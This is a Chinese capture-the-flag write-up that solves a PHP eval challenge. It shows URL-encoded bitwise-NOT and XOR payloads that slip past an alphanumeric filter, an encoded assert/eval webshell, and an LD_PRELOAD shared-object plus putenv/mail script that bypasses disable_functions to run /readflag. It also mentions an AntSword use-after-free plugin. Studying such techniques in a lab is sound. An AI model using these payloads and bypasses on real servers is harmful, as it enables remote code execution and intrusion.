知识点:蚁剑插件disable_functions,异或,rce,劫持so,url编码取反
解题过程
shell
打开容器,进行一波审计
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
注意一下,基本上将能用的字符都过滤了,想到之前做过的一个题目,可以采用异或
或者取反
进行绕过。这里推荐末初
师傅的关于绕过的文章:浅谈PHP代码执行中出现过滤限制的绕过执行方法
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
这里用一下url编码取反
,使用phpinfo()
函数测试一下
<?php
echo urlencode(~'phpinfo');
// %8F%97%8F%96%91%99%90
// ?code=(~%8F%97%8F%96%91%99%90)();
成功回显,并且发现disable_functions
过滤了很多命令执行的函数
粘贴下来
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl
构造木马,蚁剑连接
<?php
error_reporting(0);
//assert(eval($_POST[test]));
$a = "assert";
$b = '(eval($_POST[test]))'; //注意这个是单引号
$c = urlencode(~$a);
var_dump($c);
$d = urlencode(~$b);
var_dump($d);
//string(18) "%9E%8C%8C%9A%8D%8B"
//string(60) "%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8B%9A%8C%8B%A2%D6%D6"
payload
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8B%9A%8C%8B%A2%D6%D6);
在根目录下有flag
和readflag
,需要运行readflag
才能获取flag
但是这个过滤太多函数,基本是个无用的shell,所以接下来的目标就是绕过disable_functions
执行命令
预期解:劫持so
LD_PRELOAD
+putenv
组合拳,原链接:深入浅出LD_PRELOAD & putenv()
一些知识:
LD_PRELOAD
:这个环境变量指定路径的文件,会在其他文件被调用前, 最先被调用putenv( string $setting ) : bool
:可以设置环境变量,添加setting
到服务器环境变量,该环境变量仅存在于当前请求期间,在请求结束时会回复到初始状态
所以有LD_PRELOAD
+putenv
这俩东西,可以搞出下面的骚操作:
利用LD_PRELOAD
环境,劫持共享so,在请求的时候,首先加载我们的恶意so,然后可在so里定义同名函数,劫持API调用实现RCE.
上传so文件和shell.php
/tmp
目录有上传删除的权限,我们在这里进行操作
上传两个文件,bypass_disablefunc_x64.so
和shell.php
(shell.php是根据bypass_disablefunc.php进行的修改),文件的源地址:bypass_disablefunc_via_LD_PRELOAD
其中shell.php进行了修改,一些确定参数直接定义
<?php
//shell.php
echo "成功执行了shell.php";
$cmd = '/readflag';//这个是需要执行的文件,这里是“/readflag”
$out_path = '/tmp/flag.txt';//将读取到的文件放在/tmp/flag.txt中
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";//将读取到的flag放入/tmp/flag.txt中
putenv("EVIL_CMDLINE=" . $evil_cmdline);//
$so_path = "/tmp/bypass_disablefunc_x64.so";//这个so文件之前已经上传到/tmp中
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; //读取/tmp/flag.txt文件内容
unlink($out_path);
?>
上传后
payload
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/shell.php%27)
so文件深入理解
因为对反编译不了解,请教了yongbaoii师傅和Cherest_San师傅,对本题有了更深入的了解
经过反编译之后,bypass_disablefunc_x64.so
就是上面的这个样子,结合上面的shell.php我们分析一下
EVIL_CMDLINE
是我们定义的操作:执行/readflag并且将结果放入tmpfile中
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
environ[i] = 0
将原来的环境变量清空,这样原来禁止的函数现在都可以使用了,所以执行system(command)
即可成功,因为原来的环境变量暂时性地被清空了
int preload()
{
const char *command; // [rsp+0h] [rbp-10h]
int i; // [rsp+Ch] [rbp-4h]
command = getenv("EVIL_CMDLINE");
for ( i = 0; environ[i]; ++i )
{
if ( strstr(environ[i], "LD_PRELOAD") )
*environ[i] = 0;//将原来的环境变量清空
}
return system(command);
}
非预期解:蚁剑插件disable_functions
在获取了无用地shell之后,我们需要绕过disable_functions
,可以使用蚁剑的插件绕过disable_functions
,具体的插件安装使用方法:windows,linux 蚁剑下载与安装 与 手动安装插件disable_functions
选择PHP7_GC_UAF
,点击开始
执行/readflag
即可